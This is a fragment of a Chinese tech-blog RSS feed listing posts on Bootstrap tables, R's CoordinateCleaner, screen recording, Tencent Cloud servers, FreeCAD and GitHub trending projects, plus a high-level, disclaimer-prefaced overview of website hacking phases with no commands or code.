      <description>选择一家性价比高的大数据培训机构是每个想学习大数据编程的学员都会面临的问题。在众多的培训机构中，如何选择一家靠谱的机构成为了关键。本文将从行业口碑、师资力量、培训课程、学习环境、机构规模和就业服务等多方面来阐述如何选择性价比高的大数据培训机构。&#xA;1.行业口碑是选择大数据培训机构的重要因素之一。通过网络搜索、咨询朋友或者参加一些相关的讨论会，了解一下市场上各个培训机构的口碑如何，是否有学员对该机构的课程和服务进行过好评。口碑可以反映出一个机构的教学质量和服务水平，因此选择一个口碑好的机构是很重要的。&#xA;2.师资力量也是非常重要的考量因素。一家好的大数据培训机构应该有一支经验丰富、教学水平高、能够给学员提供帮助的师资队伍。学员可以通过查询师资的学历、工作经验等来了解师资力量。一般来说，有丰富实战经验的讲师更能够帮助学员更好地掌握知识和技能。&#xA;3.培训课程也是选择大数据培训机构时需要考虑的因素之一。一家好的培训机构应该有完善的课程设置，内容丰富、系统完整。学员可以通过咨询或者查阅相关资料来了解课程设置，是否与市场需求紧密结合，是否能够满足学员的学习需求。&#xA;4.学习环境也是选择培训机构时需要考虑的因素之一。一个好的学习环境可以让学员更好地专注学习，提高学习效率。学员可以通过实地考察或者咨询了解机构的学习环境，包括教室设施、学习氛围等。&#xA;5.机构规模也是一个考量因素。一般来说，规模较大的培训机构拥有更多的资源和更完善的服务体系，能够更好地满足学员的需求。学员可以通过查询相关资料或者实地考察来了解机构的规模。&#xA;6.就业服务也是选择大数据培训机构时需要考虑的因素之一。一家好的培训机构应该有完善的就业服务体系，能够帮助学员更好地就业。学员可以通过查询机构的就业率、就业服务内容等来了解机构的就业服务情况。&#xA;综上所述，选择一家性价比高的大数据培训机构需要考量的因素很多，包括行业口碑、师资力量、培训课程、学习环境、机构规模和就业服务等。学员可以通过多方面的了解和考量来选择一家靠谱的培训机构，从而更好地提高自己的技能水平。</description>
    </item>
    <item>
      <title>【Bootstrap学习 day5】</title>
      <link>https://bchobby.github.io/posts/7bf2bf9dd67d50815b04176cfe91e5d1/</link>
      <pubDate>Tue, 02 Jan 2024 09:44:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bf2bf9dd67d50815b04176cfe91e5d1/</guid>
      <description>表格&#xA;创建一个简单的表格，通过.table类来设置基础表格的样式。&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;table class=&#34;table&#34;&amp;gt; &amp;lt;thead&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;编号&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;姓名&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;年龄&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;手机号&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; &amp;lt;tbody&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; &amp;lt;/div&amp;gt; 表格颜色&#xA;通过制定意义的颜色类名可以为表格的行或者单元格设置颜色。表格颜色类的说明：&#xA;类名描述.table-primary蓝色：指定这是一个重要的操作.table-success绿色：指定这是一个允许执行的操作.table-danger红色：指定这是可以危险的操作.table-info浅蓝色：表示内容已变更.table-warning橘色：表示需要注意的操作.table-active灰色：用于鼠标悬停效果.table-secondary灰色：表示内容不怎么重要.table-light浅灰色：可以是表格行的背景.table-dark深灰色：可以是表格行的背景 使用方法示例：&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;table class=&#34;table table-dark&#34;&amp;gt; &amp;lt;thead class=&#34;table-primary&#34;&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;编号&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;姓名&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;年龄&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;手机号&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; &amp;lt;tbody&amp;gt; &amp;lt;tr class=&#34;table-light&#34;&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; &amp;lt;/div&amp;gt; 效果:&#xA;条纹表格&#xA;通过在table上添加.table-striped类实现&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;table class=&#34;table table-striped&#34;&amp;gt; &amp;lt;thead class=&#34;table-primary&#34;&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;编号&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;姓名&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;年龄&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;手机号&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; &amp;lt;tbody&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;1&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;张三&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;22&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;123344455&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; &amp;lt;/div&amp;gt; 实现效果：</description>
    </item>
    <item>
      <title>R语言【CoordinateCleaner】——cc_iucn()：移除或标记所提供自然范围之外的记录（基于每个物种）</title>
      <link>https://bchobby.github.io/posts/6d2a8cf31394303e625e9c689f184881/</link>
      <pubDate>Tue, 02 Jan 2024 09:41:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d2a8cf31394303e625e9c689f184881/</guid>
      <description>Package CoordinateCleaner version 2.0-20&#xA;Parameters cc_iucn( x, range, lon = &#34;decimallongitude&#34;, lat = &#34;decimallatitude&#34;, species = &#34;species&#34;, buffer = 0, value = &#34;clean&#34;, verbose = TRUE ) 参数【x】：data.frame。包含地理坐标和物种名称。&#xA;参数【range】：参数【x】中物种的自然范围的 SpatialPolygonsDataFrame。必须包含按 species 命名的列。&#xA;参数【lon】：字符串。具有经度坐标的列。默认值 = “decimallongitude”。&#xA;参数【lat】：字符串。包含纬度坐标的列。默认值 = “decimallatitude”。&#xA;参数【species】：字符串。包含物种名称的列。默认值 = “species”。&#xA;参数【buffer】：数值的。每个物种范围周围的缓冲区，应从该范围将记录标记为有问题，以十进制度表示。默认值 = 0。&#xA;参数【value】：字符串。定义输出值。&#xA;参数【verbose】：逻辑。如果为 TRUE，则报告测试的名称和标记的记录数。&#xA;Detail 注意：缓冲区半径以度为单位，因此不同纬度之间会略有不同。&#xA;Value 根据参数【value】，包含测试认为正确的记录的 data.frame （“clean”） 或逻辑向量 （“flagged”），其中 TRUE = 测试通过，FALSE = 测试失败/可能有问题。默认值 = “clean”。&#xA;Conclusion cc_iucn()函数是CoordinateCleaner软件包中的一个特定函数，用于与国际自然保护联盟（IUCN）红色名录数据库进行交互。以下是对cc_iucn()函数的总结性介绍：&#xA;cc_iucn()函数用于根据IUCN红色名录数据库中的物种分布信息验证和清理生物多样性数据集中的经纬度坐标。该函数可以帮助用户确保数据集中的物种分布信息与IUCN红色名录数据库中的记录一致。它可以检查数据集中的物种是否为IUCN红色名录中的濒危物种。cc_iucn()函数可以根据设定的阈值或筛选标准，将符合条件的物种数据保留下来，或者从数据集中删除不符合条件的物种。该函数返回一个包含验证后数据集的对象，可以继续在其他函数中使用。 总之，cc_iucn()函数是CoordinateCleaner软件包中一个方便的函数，用于验证和清理生物多样性数据集中的经纬度坐标，并与IUCN红色名录数据库进行比较。这有助于用户确保数据集中的物种分布信息的准确性和一致性。&#xA;Example require(sp) x &amp;lt;- data.</description>
    </item>
    <item>
      <title>手机录屏没有声音？让你的录屏有声有色</title>
      <link>https://bchobby.github.io/posts/937fc6378417287ee2b1dad71268b730/</link>
      <pubDate>Tue, 02 Jan 2024 09:33:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/937fc6378417287ee2b1dad71268b730/</guid>
      <description>“有人知道手机录屏怎么录声音吗？今天录制了一个小时的直播视频，后面查看的时候发现没有声音，真的非常崩溃，想问问大家有没有办法，解决这个问题。”&#xA;在手机录屏的过程中，有时候我们可能会面临录制视频没有声音的问题。这种情况可能令人困扰，但通过一些方法，你可以轻松解决手机录屏没有声音的难题。本文将介绍两种解决方法，详细说明每个步骤，帮助你顺利解决手机录屏无声音的问题。&#xA;方法一：手机内置录屏录声音 现在大多数智能手机都内置了录屏功能，用户可以手动进行设置，以解决手机录屏没有声音的问题。以下是使用手机内置录屏录声音的操作步骤（以华为手机为例）：&#xA;步骤1：通常，你可以在快捷设置菜单中找到“录屏”图标，或者在设置中搜索“录屏”来找到相关选项。&#xA;步骤2：找到录屏功能后，点击图标或选项启动录屏。有些手机可能需要在通知栏中长按录屏图标以进入设置。&#xA;步骤3：在录屏控制页面中，查看是否有录音选项，我们开启麦克风以录制声音。有些手机允许你选择录制媒体声音、麦克风声音或两者同时录制。&#xA;步骤4：开始录屏后，手机将会录制屏幕活动。确保在录制期间产生声音的应用（如游戏、视频等）是开启的。录制结束后，视频会自动保存到“相册”中。&#xA;方法二：专业录屏软件录声音 除了手机内置的录屏外，手机还可以怎样录屏？手机录视频没声音是什么原因呢？如果您想录制高清、不限时长的手机视频，可以使用专业的录屏软件，例如数据 蛙录屏软件，它不仅录制的视频质量极高，而且还可以有效的进行声音降噪。&#xA;软件支持录入多种声音，包括手机扬声器和手机麦克风，支持多种音频输出格式，如M4A、AAC、OPUS等等。以下是使用数据 蛙录屏软件录制手机声音的步骤：&#xA;演示机型：惠普(HP)战X；华为Mate9 系统版本：Windows 10 软件版本：数据 蛙录屏软件1.1.8 步骤1：打开数据 蛙录屏软件，提前在官网下载并安装好，进入到用户页面，录制手机我们使用“录手机”模式。&#xA;步骤2：根据手机型号选择合适的设备类型，然后通过官方提供的连接步骤，通过两种连接方式将手机投屏到电脑上。&#xA;步骤3：在开始录制页面中，选择录制内容，在这里可以设置录制手机麦克风或者PC扬声器，根据自己的需求进行选择。&#xA;步骤4：录制结束后，录制的手机视频将包含声音，您还可以继续使用软件的剪辑功能，对视频进行后期处理。&#xA;手机录屏没有声音的结论 学会正确使用手机录屏功能，不仅可以提高工作效率，还可以丰富娱乐生活。在面对手机录屏没有声音的问题时，我们可以尝试使用手机内置录屏和数据 蛙录屏软件等方法进行解决。希望本文能帮助读者了解和使用手机录屏功能，让你更好地记录和分享手机上的精彩瞬间。&#xA;文章推荐：&#xA;PPT录制视频的方法，轻松提升演示效果！&#xA;电脑亮度怎么调？揭开亮度调节的秘密！&#xA;课件如何录屏解说？解说技巧，快来围观！</description>
    </item>
    <item>
      <title>网络安全知识｜黑客是如何入侵一个网站的？</title>
      <link>https://bchobby.github.io/posts/43b4c3bb477590ba899b11279a3d3805/</link>
      <pubDate>Tue, 02 Jan 2024 09:27:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43b4c3bb477590ba899b11279a3d3805/</guid>
      <description> 刚出商场想打车回家，发现滴滴崩了？ 前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。 我首先必须澄清的是，作为一个网络安全研究人员，我不提供或者鼓励任何违法的行为，包括未经授权的计算机系统入侵。黑客入侵网站是违法的，可能会导致严重的法律后果。&#xA;然而，从一个网络安全教育和强化网络安全防御的角度出发，了解黑客如何入侵网站，从而保护网站不受黑客攻击是很重要的。&#xA;以下的信息仅从教育学习的角度提供，以帮助理解黑客如何进行攻击，从而更好地防御这些攻击。 理论上，一个黑客入侵网站的过程大致包括以下几个步骤： 1. **信息收集**：研究目标网站，收集尽可能多的信息。&#xA;2. **扫描和枚举**：确定开放端口，运行的服务和可能存在的漏洞。&#xA;3. **增权和攻击**：尝试利用找到的漏洞进入网站的后台或数据库。&#xA;4. **维持访问**：一旦成功入侵，黑客可能会尝试保持其访问权限，以备未来使用。&#xA;5. **清理痕迹**：删除日志文件和其他痕迹，防止被发现。 再次强调，以上所有的行为如果没有得到网站所有者或管理员的明确许可，都是非法的。 对于那些希望通过网络安全事业来提升技能并进行职业发展的人来说，合法的途径包括成为网络安全分析师、渗透测试人员或伦理黑客。 正当的网络安全实践包括执行合同范围内的渗透测试、网络防御和安全漏洞评估，以帮助组织加强其网站和网络的安全性。 黑客通常使用各种工具来发现并利用网站的弱点，包括：&#xA;- 扫描器：这些工具可以扫描网站的端口，寻找开放的服务和潜在的漏洞。&#xA;- 漏洞评估工具：用来分析网站的安全漏洞，寻找已知的安全弱点。&#xA;- Web代理工具：允许拦截和修改从浏览器发出的网络请求。&#xA;- 密码破解工具：分析和破解网站登录凭据的工具。&#xA;- 自动化攻击框架：像Metasploit这样的高级工具，提供了一个平台来管理和激活多种攻击。 我这边也给大家整理了工具包（祝新年快乐，需要自取） 《网络安全入门&amp;amp;学习工具资源包》https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1703063893467.jpg?t=0.4312036664666179&#xA;黑客不仅需要理论知识，还需具备以下能力：&#xA;- **逆向工程和代码审计**：分析和理解没有提供源代码的应用程序。&#xA;- **网络分析**：监控和解读网络流量，找到潜在的数据传输弱点。&#xA;- **加密与解密**：理解加密技术，有时甚至需要能够破解加密信息。&#xA;- **社会工程学**：操纵人类心理，诱使他们泄露敏感信息或执行某些操作。 当然啦，还给大家整理了网络安全全套资料+项目学习+攻防实战+渗透测试，才能学以致用，更快掌握。（祝新年快乐，需要自取） </description>
    </item>
    <item>
      <title>R语言【CoordinateCleaner】——cc_inst()：识别生物多样性机构附近的记录</title>
      <link>https://bchobby.github.io/posts/cc387f825494d8d56933f160f97a05cd/</link>
      <pubDate>Tue, 02 Jan 2024 09:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc387f825494d8d56933f160f97a05cd/</guid>
      <description>Package CoordinateCleaner version 2.0-20&#xA;Parameters cc_inst( x, lon = &#34;decimallongitude&#34;, lat = &#34;decimallatitude&#34;, species = &#34;species&#34;, buffer = 100, geod = TRUE, ref = NULL, verify = FALSE, verify_mltpl = 10, value = &#34;clean&#34;, verbose = TRUE ) 参数【x】：data.frame。包含地理坐标和物种名称。&#xA;参数【lon】：字符串。具有经度坐标的列。默认值 = “decimallongitude”。&#xA;参数【lat】：字符串。包含纬度坐标的列。默认值 = “decimallatitude”。&#xA;参数【species】：字符串。具有物种标识的列。仅当 参数【verify】 = TRUE 时才需要。&#xA;参数【buffer】：数值。每个机构周围的缓冲区，其中的记录应标记为有问题，以十进制度为单位。默认值 = 100m。&#xA;参数【geod】：逻辑。如果为 TRUE，则每个首都周围的半径是根据球体计算的，缓冲区以米为单位，与纬度无关。如果为 FALSE，则半径的计算假定为平面坐标，并且随纬度略有变化，在本例中，缓冲区以度为单位。默认值 = TRUE。&#xA;参数【ref】：SpatialPointsDataFrame。提供地理地名录。可以是任何 SpatialPointsDataFrame，但结构必须与机构相同。默认值 = institutions。&#xA;参数【verify】： 逻辑。如果为 TRUE，则仅当附近没有相同物种的其他记录（缓冲区半径 * 参数【verify_mltpl】）时，才会标记靠近机构的记录。&#xA;参数【verify_mltpl】：数值的。指示验证半径超过初始测试半径的因子。默认值 = 10，如果参数【geod】 为 TRUE，则可能适用，否则可能太大。</description>
    </item>
    <item>
      <title>推荐一款清除历史记录工具：Privazer</title>
      <link>https://bchobby.github.io/posts/8089e798bb0f4841b490d564bd7d9aae/</link>
      <pubDate>Tue, 02 Jan 2024 09:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8089e798bb0f4841b490d564bd7d9aae/</guid>
      <description>一提到清理电脑，我想现在好多人都想到360安全卫士、QQ电脑管家和火绒安全软件，前两家大厂面对个人用户虽然也是免费的，但是给你安装个全家桶，再给你弹几个框，这就让你很不爽了。&#xA;而火绒其实挺好用的，功能挺多的，但好几个小伙伴告诉下载集，清理电脑垃圾方面并不太理想。(虽然我觉得也挺理想的，哈哈!)&#xA;既然有小伙伴觉得还缺那么一个软件来清理电脑，那今天就给大家介绍一款专业的软件：Privazer&#xA;软件介绍 这款软件是由法国团队开发的，从2011年开发至今，已近11年了，这11年来，这款软件一直坚持免费。&#xA;能免费的软件挺多的，但是这款免费软件还坚持在更新，看看软件最近一次更新在今年的1月28日。&#xA;今天下载集带来的这款软件的绿色版本，双击软件即可打开，打开软件后，我们会发现，软件有个捐赠版本，但对我们普通用户来说，免费版本即够使用了。&#xA;在这里有个入门的导向，这其实是一些选项，让你自己选择更适合你电脑清理的选项。如果嫌麻烦的小伙伴，在这里直接选“进入主菜单”。&#xA;进入到软件的主页面中，在这里有“深入扫描”、“扫描特定痕迹”、“不留痕迹的删除”、还有“自动清理”和“还原+修复”等等。&#xA;我电脑在年前的时候重装过系统，电脑中并没有多少缓存垃圾文件，所以我选择深度清理，再选择计算机。&#xA;具体到计算机中，我们可以选择相应的盘符。这里清理可以对旧文件名称的残留痕迹，可以对你浏览器、系统临时文件、缓存日志和内存等等进行清理。&#xA;基础用户的情况下，清理的选项比较少，但选择高级选项里，有更多的选择进行选择。&#xA;选择好后，即可扫描，扫描完成后，软件分为三种清理模式，分别是标准清理、快速清理和涡轮清理。一般的情况下，选择后两种清理方式就足够了，除非你的电脑机密文件特别特别多。&#xA;对于软件隐私方面，这款软件也声明了永远不会收集个人信息，还有好些个“永远不会”和“绝对不会”的承诺，看着挺让人放心的!&#xA;对于清理效果，我觉得还是挺满意的，因为我这不良习惯也挺多的，就我才没安装多少东西的情况下，能清理出2G的空间。&#xA;不过提醒各位，这里的清理会包括你的注册表和垃圾桶，所以要确保你的清理对象是真的可清理的情况下才进行操作哟!&#xA;本文来源于：Privazer比火绒还专业的电脑垃圾清理软件-下载集 (xzji.com)https://www.xzji.com/news/6236.html</description>
    </item>
    <item>
      <title>腾讯云轻量应用服务器部署环境建站教程大全（2024更新）</title>
      <link>https://bchobby.github.io/posts/0ba05fc9ef8c3fe113a1e384fefaa46b/</link>
      <pubDate>Tue, 02 Jan 2024 08:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ba05fc9ef8c3fe113a1e384fefaa46b/</guid>
      <description>腾讯云轻量应用服务器Lighthouse是新一代开箱即用、使用简单的轻量级云服务器，支持多种镜像应用模板一键部署所需环境和应用，如在云端构建网站、Web应用、小程序/小游戏、APP、电商应用、云盘/图床和开发测试环境，腾讯云服务器网txyfwq.com分享使用腾讯云轻量应用服务器搭建网站教程、部署宝塔Linux面板、图床、搭建开发环境、电商平台等：&#xA;使用腾讯云轻量应用服务器部署应用教程大全 更多腾讯云轻量应用服务器使用教程，如使用腾讯云轻量应用服务器建站、搭建开发环境、搭建云盘、搭建电商平台、部署宝塔Linux面板、使用Lightwings构建应用等：&#xA;0. Typecho建站：使用腾讯云轻量应用服务器搭建网站教程&#xA;1. 腾讯云：轻量应用服务器购买+配置+网站上线（图文教程详解）&#xA;更多教程，腾讯云服务器网就不多赘述，请移步到官方教程 https://curl.qcloud.com/ITm0yCyp&#xA;使用 WordPress 应用模板搭建网站使用 Typecho 应用模板搭建博客使用 Matomo 应用模板搭建网站流量统计系统使用 Theia IDE 应用模板搭建云端 IDE 环境搭建 LAMP 开发环境搭建 Node.js 开发环境搭建 ASP.NET 开发环境使用应用模板搭建 Docker 容器环境使用应用镜像实践 K3s 容器集群管理基于 Cloud Studio 搭建云端 IDE 环境使用 Cloudreve 应用模板搭建云盘使用 WooCommerce 应用模板搭建电商独立站搭建跨境电商店铺管理环境使用宝塔 Linux 面板管理服务器安装和配置宝塔 Linux 面板腾讯云专享版使用宝塔 Linux 面板快速迁移网站使用 Lightwings 构建应用使用 OpenFaaS 部署云函数使用 SRS 应用模板搭建个人直播间轻量应用服务器挂载 CFS 文件系统安装 Docker 并配置镜像加速源搭建 Ubuntu 可视化界面Linux 轻量应用服务器搭建 FTP 服务Windows 轻量应用服务器搭建 FTP 服务安装 SSL 证书Nginx 服务器证书安装Apache 服务器证书安装（Linux）Apache 服务器证书安装（Windows）使用互动直播房间服务应用模板快速搭建小直播后台 上述教程请移步：https://curl.</description>
    </item>
    <item>
      <title>FreeCAD初步使用：零件和装配</title>
      <link>https://bchobby.github.io/posts/b21272c13dc36458fd98b2641686b259/</link>
      <pubDate>Tue, 02 Jan 2024 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b21272c13dc36458fd98b2641686b259/</guid>
      <description>文章目录 画个收纳盒草图绘制三维设计盖子装配LCS 画个收纳盒 草图绘制 首先，Edit-&amp;gt;Preference-&amp;gt;General-&amp;gt;将语言改为简体中文。&#xA;FreeCAD在操作时有不同的Workbench，第一次打开默认start，几乎什么也做不了。对于习惯使用SolidWorks的人来说，将工作台切换到Part Design可能比较合适，切换之后，就能看到窗口左侧Start Part下面有一个创建实体。&#xA;点击创建实体-&amp;gt;创建草图-&amp;gt;选择XY_Plane(基准平面)，点击OK。&#xA;然后创建一个矩形-&amp;gt;水平距离约束，点击矩形的横边，设为200mm-&amp;gt;垂直距离约束，点击矩形的竖边，设为100mm。&#xA;然后进入任务选项卡，点击Close关闭草图设计。&#xA;三维设计 进入任务选项卡，点击凸台，在弹出的凸台参数中，类型设为尺寸标注，长度设为50mm，点击OK，这样就有了一个长方体。&#xA;点击长方体上方的面，任务选项卡中会出现面工具，点击创建草图，即可在长方体的表面创建新的草图。在草图中创建一个矩形，用前面提到的距离约束工具，将其水平和竖直方向的尺寸分别设为196和96毫米。然后点击垂直约束右侧的双箭头，即距离约束，依次点击原点和左侧竖线，设置点到直线的距离为5mm；用相同的方法，设置矩形长边距离原点的距离也为2mm。设置完成后，点击close。&#xA;然后任务选显卡出现草图工具，点击凹坑，类型设为尺寸标注，长度设为48mm，此时就已经有了抽屉的轮廓&#xA;盖子 所谓盖子，只需做一个两毫米厚的长方体即可，故而新建一个项目，进入草图，做一个其长度为200mm，宽度为96mm的长方形，然后凸台拉伸2mm。&#xA;为了让这个盖子可以卡进盒子，需要将盒子的短边削掉两毫米。回到盒子，点击盒子的短边所在的面，进入任务选项卡，点击创建草图。在草图中创建一个长方形，水平96mm，竖直2mm。距离原点分别为48mm和2mm，点击Close关闭草图。进入任务-&amp;gt;凹坑，将类型设为通过所有，点击OK。&#xA;装配 一般来说，做完盒子和盖子，就可以3D打印了，之所以我把盒子的壁设置得这么薄，也是出于效率考虑，毕竟我的3D打印机太耗时。&#xA;但设计总有疏漏的时候，尽管盒子简单，但日后总有设计复杂工件的时候，为了确保严丝合缝，需要对二者进行装配。为此，需要安装Assembly4：依次点击工具-&amp;gt;插件管理器，第一次进入可能需要一点时间更新，静等片刻，看到插件列表之后，可搜索Assembly4，点击后，在刷新后的页面中点击右上角的安装按钮。安装成功之后，会提示重启软件。&#xA;软件重启之后，将工作台切换到Assembly4，新建文件，然后点击新建装配体图标，从而assem下出现了一个Assembly子项。下图标出了四个一会儿会用到的工具按钮。&#xA;点击插入图标，在弹出的对话框中，点击Open file，将刚刚创建的两个组件依次导入。然后再点击插入图标，选中零件，为了后续识别，将下方的Name for the link分别更改为Cover和Body。若弹出任务选项卡，暂且点击Cancel。&#xA;LCS 所谓装配，就是把对应的面或者孔槽相连接，在FreeCAD中，将这些可供装配的特征命名为LCS，需要回到零件中设置。&#xA;选中零件的Body之后，点击创建基准-&amp;gt;New Plane，然后选择盖子下表面的两条短边，命名为Plane；相应地选择盒子凹槽下方与盖子短边相接的两条边，同样命名为Plane。我们的目的是，这两个平面在装配的时候需要重合。&#xA;回到装配体文件，选中Body，点击编辑附件，链接Cover，选中二者的Plane，适当调整旋转角度和位移，完成装配，效果如下</description>
    </item>
    <item>
      <title>2024最新腾讯云CVM服务器和轻量应用服务器有什么区别？</title>
      <link>https://bchobby.github.io/posts/9b98d109fb9573a33b1cfc59e1a55190/</link>
      <pubDate>Tue, 02 Jan 2024 08:13:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b98d109fb9573a33b1cfc59e1a55190/</guid>
      <description>腾讯云轻量服务器和云服务器CVM该怎么选？不差钱选云服务器CVM，追求性价比选择轻量应用服务器，轻量真优惠呀，腾讯云服务器网txyfwq.com活动 https://curl.qcloud.com/oRMoSucP 轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年，540元三年、2核4G5M带宽218元一年，2核4G5M带宽756元三年、轻量4核8G12M服务器446元一年、646元15个月。&#xA;腾讯云轻量应用服务器&#xA;轻量应用服务器对比云服务器CVM，轻量应用服务器Tencent Cloud Lighthouse更聚焦于中小企业、开发者、云计算入门者、学生等用户群体。相比云服务器CVM更加简单易用，精简了云服务器CVM的高阶概念及功能，提供高带宽流量包并以高性价比的套餐形式整体售卖基础云资源，将热门开源软件融合打包实现一键构建应用，更适合于支撑中小型网站、Web应用、博客、论坛、小程序/小游戏、电商、云盘/图床、云端开发测试和学习环境等轻量级、中低负载且访问量适中的应用场景。&#xA;注意：&#xA;1、创建轻量应用服务器时不支持指定底层物理服务器的CPU型号，腾讯云将随机分配满足套餐规格的物理CPU型号。2、与同规格的标准型云服务器CVM相比，轻量应用服务器的CPU、内存性能与其处于同一水准。 轻量应用服务器相比云服务器CVM的主要区别和优势请参考下表：&#xA;腾讯云百科轻量应用服务器 TencentCloud Lighthouse云服务器 CVM更聚焦的用户群体中小企业、开发者更适合中大型企业用户更轻量的业务场景轻量级应用场景，典型场景如下： 企业官网、博客、论坛、资讯、商品展示等各类网站通用 Web 应用微信小程序、小游戏移动端 App、H5、公众号跨境电商店铺管理、独立站搭建云盘、图床服务云端开发测试环境、学习环境架构复杂的应用场景，典型场景如下： 高并发网站大型游戏复杂分布式集群应用视频编解码大数据分析机器学习、深度学习更优惠的计费模式售卖方式高性价比套餐式售卖，整体更优惠（计算/网络/存储资源优化组合）灵活选配计算/存储/网络资源，独立叠加计费网络计费高带宽流量包模式固定带宽/流量用量更简单的使用体验管理控制台一站式整合，独立且简化的控制台面向全业务，涉及 CVM、VPC、EIP 及安全组等细节较多应用构建 开箱即用的优质官方应用镜像，预置应用系统所需的软件栈最优组合1分钟内一键构建应用，自动完成应用软件、依赖的运行环境安装和初始化配置用户需自行搭建应用网络自动创建网络资源，无需用户手动管理用户自行创建、配置、管理网络 说明：&#xA;1、轻量应用服务器相比云服务器 CVM 在功能层面的主要限制包括：实例支持以套餐为单位进行配置（计算、存储和网络）的整体升级，但不支持降级套餐。轻量应用服务器具体使用限制说明，参考：https://curl.qcloud.com/MCz8v3kR&#xA;2、轻量应用服务器在内网连通性上也存在一定限制；&#xA;3、轻量应用服务器的云硬盘和云服务器CVM的云硬盘相互独立。轻量应用服务器的云硬盘仅支持挂载至轻量应用服务器实例，无法挂载至云服务器CVM。&#xA;如果需要使用更丰富的实例类型，如内存优化型、高IO型、大数据型、裸金属、GPU/FPGA 异构计算型等，支持高并发网站、视频编解码、大型游戏、复杂分布式集群应用等业务场景，请选择云服务器CVM。</description>
    </item>
    <item>
      <title>Github 2024-01-02开源项目日报 Top10</title>
      <link>https://bchobby.github.io/posts/528c0fa989d97d5f02ae3c745395475b/</link>
      <pubDate>Tue, 02 Jan 2024 08:05:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/528c0fa989d97d5f02ae3c745395475b/</guid>
      <description>根据Github Trendings的统计，今日(2024-01-02统计)共有10个项目上榜。根据开发语言中项目的数量，汇总情况如下：&#xA;开发语言项目数量TypeScript项目3Python项目3非开发语言项目3Jupyter Notebook项目1Rust项目1 系统设计指南 创建周期：2501 天开发语言：Python协议类型：OtherStar数量：239425 个Fork数量：41754 次关注人数：239425 人贡献人数：109 人Open Issues数量：407 个Github地址：https://github.com/donnemartin/system-design-primer.git 系统设计指南是一个开源项目，帮助个人学习如何设计大规模系统，并为系统设计面试做准备。它包括Anki闪卡，以便有效学习。&#xA;movie-web：轻松观看电影和节目的网页应用 创建周期：898 天开发语言：TypeScript协议类型：MIT LicenseStar数量：2534 个Fork数量：423 次关注人数：2534 人贡献人数：43 人Open Issues数量：68 